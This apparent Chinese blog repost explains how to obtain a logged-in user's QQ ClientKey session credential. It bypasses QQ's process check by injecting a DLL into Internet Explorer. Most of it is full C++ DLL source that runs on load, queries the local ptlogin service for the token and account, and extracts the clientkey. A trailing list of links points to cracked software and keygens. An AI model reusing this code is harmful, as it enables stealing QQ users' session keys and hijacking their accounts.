当前位置: 首页 > news >正文

读取QQ ClientKey失败分析

Make ClientKey Greate Again!!!

背景

网上有不少获取QQ ClientKey的方式,主要是两种:

一种是模拟浏览器访问本地登陆QQ的方式获取ClientKey;

第二种就是注入到QQ通过调用它的导出函数获取ClientKey;

上述的两种方式都不难找到各种源码和一些分析,这里跳过。

绕过

这里使用第一种,原因:

不会注入到qq,没什么乱七八糟的风险

不少朋友会发现在发送第二个请求(localhost.ptlogin2.qq.com)的时候会出现403,而且在挂上brup suite和fd的时候单点就失效,但是挂上chrome自带的插件却不会!

这是为什么呢?

最大的可能就是对进程进行了校验,这里直接将进程名修改为chrome,发现不行,说明可能还校验了签名等其他乱七八糟的东西,但是当我把程序写成一个dll,在注入到iexplore.exe(这里抄的上述代码,代理是internet iexplore,所以注入的是ie)成功获取,下面是代码

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"#include<string>
#include<windows.h>
#include<iostream>
#include<WinInet.h>
#pragma comment(lib,"wininet.lib")char URL_STRING[] = "https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http://www.qq.com/qq2012/loginSuccess.htm&style=20&border_radius=1&target=self&maskOpacity=40";void GameStart()
{// 初始化URLURL_COMPONENTSA crackedURL = { 0 };char szHostName[128];char szUrlPath[256];crackedURL.dwStructSize = sizeof(URL_COMPONENTSA);crackedURL.lpszHostName = szHostName;crackedURL.dwHostNameLength = ARRAYSIZE(szHostName);crackedURL.lpszUrlPath = szUrlPath;crackedURL.dwUrlPathLength = ARRAYSIZE(szUrlPath);InternetCrackUrlA(URL_STRING, (DWORD)strlen(URL_STRING), 0, &crackedURL);// 初始化会话HINTERNET hInternet = InternetOpenA("Microsoft Internet Explorer", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);HINTERNET hHttpSession = InternetConnectA(hInternet, crackedURL.lpszHostName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);HINTERNET hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", crackedURL.lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);// 发送HTTP请求HttpSendRequest(hHttpRequest, NULL, 0, NULL, 0);// 查询HTTP请求状态DWORD dwRetCode = 0;DWORD dwSizeOfRq = sizeof(DWORD);BOOL bRet = FALSE;bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);// 读取整个Headerschar lpHeaderBuffer[1024] = { 0 };dwSizeOfRq = 1024;bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL);// 从Cookie中提取pt_local_token的值char* pt_local_token = lpHeaderBuffer + dwSizeOfRq;while (pt_local_token != lpHeaderBuffer){if (strstr(pt_local_token, "pt_local_token=")){// 退出之前,修正偏移pt_local_token += sizeof("pt_local_token");char* pEndBuffer = strstr(pt_local_token, ";");*pEndBuffer = 0;break;}pt_local_token--;}// 关闭句柄,只需要释放下面两个,注意关闭时按相反的顺序InternetCloseHandle(hHttpRequest);InternetCloseHandle(hHttpSession);/* 第二次建立会话 */// 初始化URL参数char lpszUrlPath[MAX_PATH] = "/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=";strcat(lpszUrlPath, pt_local_token); // url末尾追加pt_local_token// 初始化会话hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.qq.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);// 发送HTTP请求,添加头信息char lpHeaders[] = "Referer:https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http%3A%2F%2Fwww.qq.com%2Fqq2012%2FloginSuccess.htm";HttpSendRequestA(hHttpRequest, lpHeaders, strlen(lpHeaders), NULL, 0);// 查询HTTP请求状态dwRetCode = 0;dwSizeOfRq = sizeof(DWORD);bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);// 获取返回数据的大小DWORD dwNumberOfBytesAvailable = 0;bRet = InternetQueryDataAvailable(hHttpRequest, &dwNumberOfBytesAvailable, NULL, NULL);// 读取网页内容char* lpBuffer = new char[dwNumberOfBytesAvailable]();bRet = InternetReadFile(hHttpRequest, lpBuffer, dwNumberOfBytesAvailable, &dwNumberOfBytesAvailable);// 从内容中提取已登陆QQ账号,是个js数组,这里只提取第一个char* uin = lpBuffer + dwNumberOfBytesAvailable;while (uin != lpBuffer){if (strstr(uin, "\"account\":")){// 退出之前,修正偏移uin += sizeof("\"account\":") - 1;char* pEndBuffer = strstr(uin, "}");*pEndBuffer = 0;break;}uin--;}// 释放资源,注意关闭句柄时按相反的顺序InternetCloseHandle(hHttpRequest);InternetCloseHandle(hHttpSession);/* 第三次会话 */// 初始化URL参数ZeroMemory(lpszUrlPath, MAX_PATH);strcat(lpszUrlPath, "/pt_get_st?clientuin=");strcat(lpszUrlPath, uin);strcat(lpszUrlPath, "&pt_local_tk=");strcat(lpszUrlPath, pt_local_token);strcat(lpszUrlPath, "&callback=__jp0");printf("[+]%s \n", lpszUrlPath);// 发送HTTPS请求hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.qq.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);// 添加头信息char lpHeaders2[] = "Referer:https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http%3A%2F%2Fwww.qq.com%2Fqq2012%2FloginSuccess.htm";HttpSendRequestA(hHttpRequest, lpHeaders2, strlen(lpHeaders2), NULL, 0);// 查询HTTP请求状态dwRetCode = 0;dwSizeOfRq = sizeof(DWORD);bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);// 读取整个HeadersZeroMemory(lpHeaderBuffer, 1024);dwSizeOfRq = 1024;bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL);// 从Cookie中提取ClientKey的值char* clientkey = lpHeaderBuffer + dwSizeOfRq;while (clientkey != lpHeaderBuffer){if (strstr(clientkey, "clientkey=")){// 退出之前,修正偏移clientkey += sizeof("clientkey");char* pEndBuffer = strstr(clientkey, ";");*pEndBuffer = 0;break;}clientkey--;}OutputDebugStringA(clientkey);InternetCloseHandle(hHttpRequest);InternetCloseHandle(hHttpSession);InternetCloseHandle(hInternet);delete[] lpBuffer;
}BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:GameStart();break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}
http://www.xdnf.cn/news/815401.html

相关文章:

  • datetime与smalldatetime之间的区别小结
  • 为了下载文件不得不发布一篇文章,写一个winccadvance 使用vb脚本直接写入excel的方法
  • android机器人纪念品,MiniQ 桌面机器人底盘
  • 电子技术网站大全[转]
  • Wireshark 提示和技巧 | 显示过滤之 a 不等于 b
  • 网线水晶头接法和线序(图文详解)
  • Linux系统中UI库curse.h不存在问题——贪吃蛇为例
  • android studio 腾讯,android studio接入腾讯TBS
  • uni真机调试页面空白_模拟器最强BIOS篇,如何使用uni-bios
  • 分享134个ASP整站程序源码,总有一款适合您
  • C#开源系统大汇总
  • 学生成绩管理系统(java简单课设)
  • Java设计模式——适配器模式(Adapter模式)详解
  • 数值积分法的MATLAB实现
  • awk 用法(使用入门)
  • WordPress免费的主题推荐
  • 深蓝学院 机器人操作系统ROS理论与实践(三)
  • run as date怎么用_关于“至于”用英语的五种表达方式
  • 【Windows系统编程】05.内存操作与InlineHook(详解InlineHook实现)
  • 色环电阻的识别方法
  • 网管笔记35:不得不看的黑客工具集
  • 天行健咨询 | 谢宁DOE培训的课程内容有哪些?
  • 常量表达式
  • WPF常用的五种绑定方式
  • ERP系统是如何运作的?erp管理系统操作流程
  • QQ.COM二级域名大全 腾讯旗下产品大全
  • Rational rose下载,安装,破解
  • 30个源码网站
  • U8+v13.0-U8+v12.1-U8+v12.5-U8+v12.0注册机-稳定不掉授权-免狗补丁-安装盘下载
  • 关于网狐棋牌6603源码的整理、编译和搭建